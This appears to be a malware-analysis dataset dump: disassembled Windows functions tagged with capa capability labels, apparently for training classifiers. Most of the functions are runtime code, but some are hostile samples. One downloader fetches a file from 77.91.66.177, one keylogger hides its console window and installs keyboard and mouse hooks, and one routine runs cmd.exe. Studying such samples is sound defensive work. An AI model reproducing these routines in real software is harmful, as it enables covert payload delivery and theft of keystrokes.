joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140097ca8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x140097cda
call fcn.140084e1c
mov dword [rax], SafeArrayUnaccessData
call fcn.140084cb0
jmp 0x140097df9
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140097df9
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140097df9
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140097d09
lock or dword [rcx + 0x14], 0x10
jmp 0x140097df9
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140097d1d
call fcn.14009804c
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140096920
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.140099c5c
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140097de7
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x140097db2
mov rcx, rsi
call fcn.140096920
cmp eax, edi
je 0x140097d9d
mov rcx, rsi
call fcn.140096920
cmp eax, 0xfffffffe
je 0x140097d9d
mov rcx, rsi
call fcn.140096920
movsxd rbx, eax
lea r14, [0x1400ea530]
mov rcx, rsi
sar rbx, 6
call fcn.140096920
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140097da4
lea rdx, [0x1400e7470]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140097db2
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x140097dd6
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x140097dd6
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x140097dd6
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x140097dfc
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140099530
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14007e730
sub rsp, rax
mov rax, qword [0x1400e7080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140096920
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14009957f
mov rax, rbp
jmp 0x140099687
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xea530]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140099174
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0xea530]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140099683
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140099683
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140099174
test rax, rax
js 0x140099683
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140099683
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140099675
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140099675
cmp byte [rcx], 0xd
jne 0x14009965b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14009966a
cmp byte [rcx + 1], 0xa
jne 0x14009966a
inc rcx
jmp 0x14009966a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xe74c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14009963d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140099687
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.14007dbc0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400997b0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1400ea530]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14009980e
cmp word [rdx], r12w
jne 0x14009980e
or byte [rax + r8*8 + 0x38], cl
jmp 0x140099814
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14009996f
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14009994a
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14009984d
mov rcx, r9
jmp 0x140099870
cmp r9, rdx
jae 0x140099887
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140099831
jmp 0x14009996f
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140099944
cmp dword [rsp + 0x80], edi
je 0x140099944
mov rdx, r14
lea r11, [0x1400ea530]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14009991d
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x1400998f0
mov word [rbx], r12w
jmp 0x14009996b
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x1400998f9
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14009996b
cmp word [rsp + 0x70], r12w
jne 0x14009992a
cmp rbx, rsi
je 0x1400998ea
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14009917c
cmp word [rsp + 0x70], r12w
je 0x14009996f
mov word [rbx], r13w
jmp 0x14009996b
lea r11, [0x1400ea530]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140099967
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14009996f
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400a03bc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400a0443
mov rsi, rbx
cmp word [rax], bp
je 0x1400a0402
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400a03ec
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400a03e8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140095780
mov rdi, rax
test rax, rax
je 0x1400a0430
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400a5340
mov rbp, rdi
xor ecx, ecx
call fcn.140095744
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400a4600
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14009917c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14009917c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400a4750
cmp rax, 0xffffffffffffffff
je 0x1400a4750
xor edi, edi
test rbp, rbp
jle 0x1400a46fb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140097c30
mov rbx, rax
test rax, rax
jne 0x1400a4688
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400a46f1
mov edx, 0x8000
mov ecx, r14d
call fcn.140094a8c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140098bb4
cmp eax, 0xffffffff
je 0x1400a46d1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400a4698
mov edx, r15d
mov ecx, r14d
call fcn.140094a8c
jmp 0x1400a46f1
cmp byte [rsi + 0x38], dil
je 0x1400a46e8
cmp dword [rsi + 0x34], 5
jne 0x1400a46e8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayDestroy
cmp byte [rsi + 0x30], dil
je 0x1400a46f1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140095744
jmp 0x1400a4764
jns 0x1400a4764
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14009917c
cmp rax, 0xffffffffffffffff
jne 0x1400a471c
cmp byte [rsi + 0x30], dil
je 0x1400a4764
mov edi, dword [rsi + 0x2c]
jmp 0x1400a4764
mov ecx, r14d
call fcn.1400a0a08
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400a4764
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, SafeArrayDestroy
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], SafeArrayDestroy
jmp 0x1400a4764
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400a475d
mov eax, dword [rsi + 0x2c]
jmp 0x1400a4762
mov eax, SafeArrayUnaccessData
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14009917c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400a4f10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400a4f38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400a4f38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002960
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400029c1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140002980
mov ecx, dword [r9]
jmp 0x140002aa8
cmp ecx, 0x4e0
jb 0x140002aa8
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400029e0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, r11d
lea r10, [r10 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140002a30
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14000360c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003656
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003656
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003656
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003656
cmp dword [rcx + 0x84], 0xe
jbe 0x140003656
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003658
xor al, al
add rsp, 0x28
ret
Function at 0x14001e11c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001e19a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14001e191
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14001e191
mov rax, qword [rbp - 8]
jmp 0x14001e1af
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14001e164
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x401000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Write file on windows

Disassembly:
sub rsp, 0x20
mov ecx, 0
mov edx, 0
mov r8d, 0
movabs r9, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64_
call sub.WINHTTP.dll_WinHttpOpen
mov rbx, rax
mov rcx, rbx
mov edx, 0
movabs r8, str.http:__77.91.66.177_1.png
mov r9d, 0
call sub.WINHTTP.dll_WinHttpOpenRequest
mov rcx, rax
mov edx, 0
mov r8d, 0
mov r9d, 0
call sub.WINHTTP.dll_WinHttpSendRequest
mov rcx, rax
movabs rdx, 0x40204a
mov r8d, 0x400
movabs r9, 0x40244a
call sub.WINHTTP.dll_WinHttpReadData
movabs rcx, str.1.png
mov edx, 0x40000000
mov r8d, 0
mov r9d, 0
call sub.KERNEL32.dll_CreateFileA
mov rbx, rax
mov rcx, rbx
movabs rdx, 0x40204a
mov r8d, 0x400
movabs r9, 0x402452
call sub.KERNEL32.dll_WriteFile
mov rcx, rbx
call sub.WINHTTP.dll_WinHttpCloseHandle
add rsp, 0x20
ret
Function at 0x1400038e0
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
push rbp
push rsi
push r14
lea rbp, [r11 - 0x5f]
sub rsp, 0xc0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r14, qword [rcx + 0x10]
mov rsi, rcx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 3
jb 0x140003b08
cmp qword [rsi + 0x18], 0xf
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r15
jbe 0x140003937
mov rsi, qword [rsi]
lea r15, [r14 + 3]
mov ebx, 0xf
lea rdi, [rbp + 0x1f]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x1f], xmm0
movdqu xmmword [rbp + 0x2f], xmm1
cmp r15, rbx
jbe 0x1400039d1
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003994
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140008c80
test rax, rax
je 0x140003aca
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400039cd
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400039ad
xor edi, edi
jmp 0x1400039cd
cmp rcx, 0x1000
jb 0x1400039c5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b0e
jmp 0x140003975
call fcn.140008c80
mov rdi, rax
mov qword [rbp + 0x1f], rdi
mov ecx, dword [0x14000a438]
mov r8, r14
mov qword [rbp + 0x2f], r15
mov rdx, rsi
mov qword [rbp + 0x37], rbx
mov word [rdi], cx
movzx ecx, byte [0x14000a43a]
mov byte [rdi + 2], cl
lea rcx, [rdi + 3]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
lea rax, str.cmd.exe
cmp qword [rbp + 0x37], 0xf
lea rcx, [rbp - 0x59]
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x41], rax
lea rax, [rbp + 0x1f]
cmova rax, qword [rbp + 0x1f]
movups xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x59], 0x70
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x39], rax
movups xmmword [rbp - 0x29], xmm0
mov dword [rbp - 0x55], 0x40
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 0x49], 0
movups xmmword [rbp - 9], xmm0
mov dword [rbp - 0x29], 0
movups xmmword [rbp + 7], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140003a6e
mov ebx, 0xffffffff
jmp 0x140003a98
mov rcx, qword [rbp + 0xf]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xf]
lea rdx, [rbp + 0x17]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0x17]
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x140003ad6
mov rcx, qword [rbp + 0x1f]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ad1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ad1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008f04
mov rdi, qword [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [rsp + 0xe8]
mov r15, qword [rsp + 0xf8]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140008c60
add rsp, 0xc0
pop r14
pop rsi
pop rbp
ret
call fcn.140001200
int3
call fcn.140001160
int3
Function at 0x1400071b0
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x90], rax
call fcn.140001240
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x40]
call fcn.1400073a0
nop
mov rcx, rax
call fcn.140003b20
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140007233
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000722e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000722e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140008f04
mov ecx, 8
call fcn.140008c80
lea rcx, [0x140004970]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140008450]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000738c
cmp dword [rsp + 0x38], 0
je 0x140007380
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140007380
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140006c00]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x14000c7e0], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140006d70]
mov ecx, 0xe
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov qword [0x14000c800], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x14000733d
nop word [rax + rax]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140007310
mov rcx, qword [0x14000c7e0]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rcx, qword [0x14000c800]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
nop
cmp dword [rsp + 0x38], 0
je 0x140007366
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140008c60
add rsp, 0xa8
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400097a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400097ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400097ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400097ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400097ee
cmp dword [rcx + 0x84], 0xe
jbe 0x1400097ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400097f0
xor al, al
add rsp, 0x28
ret
Function at 0x140005f00
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
push rbp
push rsi
sub rsp, 0x58
mov rsi, qword [0x1401b9290]
mov rbp, rcx
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14000611e
lea rcx, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14000611e
mov qword [rsp + 0x70], rbx
mov ecx, 0x50
mov qword [rsp + 0x50], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x1401b9290]
xor ebx, ebx
mov rdi, rax
test r8, r8
je 0x140005fc2
movsx rdx, word [r8 + 0x68d8]
lea rax, [r8 + 0x68dc]
mov r9d, dword [r8 + 0x3f70]
lea rax, [rax + rdx*8]
cmp dword [rax], r9d
je 0x140005fb7
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x68d8], cx
movsx rax, cx
lea rax, [rax*8 + 0x68dc]
add rax, r8
mov dword [rax], r9d
mov dword [rax + 4], ebx
inc word [rax + 4]
inc dword [r8 + 0x68d0]
test rdi, rdi
je 0x140005fdf
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
jmp 0x140005fe2
mov rdi, rbx
or dword [rsi + 0xc], 6
lea rax, [0x14008c228]
mov qword [rsi + 0x80], rax
mov qword [rsi + 0x90], rdi
mov qword [rdi], rbp
mov rax, qword [rsp + 0x80]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x88]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
test r8, r8
je 0x14000602b
mov rsi, qword [r8 + 0x90]
jmp 0x14000602e
mov rsi, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rsi + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140006059
mov dword [rsi + 0x2c], ebx
mov rax, qword [0x1401b9290]
mov rcx, qword [rax + 0x4b28]
mov rax, qword [rcx]
mov qword [rax + 0x28], rbp
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x28], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x30], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0x38], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x40], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x48], rax
mov byte [rdi + 0x31], 1
nop
mov rcx, qword [rsp + rbx*8 + 0x28]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x1400060df
inc rbx
cmp rbx, 5
jl 0x1400060b0
mov rdi, qword [rsp + 0x50]
mov al, 1
mov rbx, qword [rsp + 0x70]
add rsp, 0x58
pop rsi
pop rbp
ret
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x38], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rsp + 0x70]
mov qword [rdi + 0x48], rax
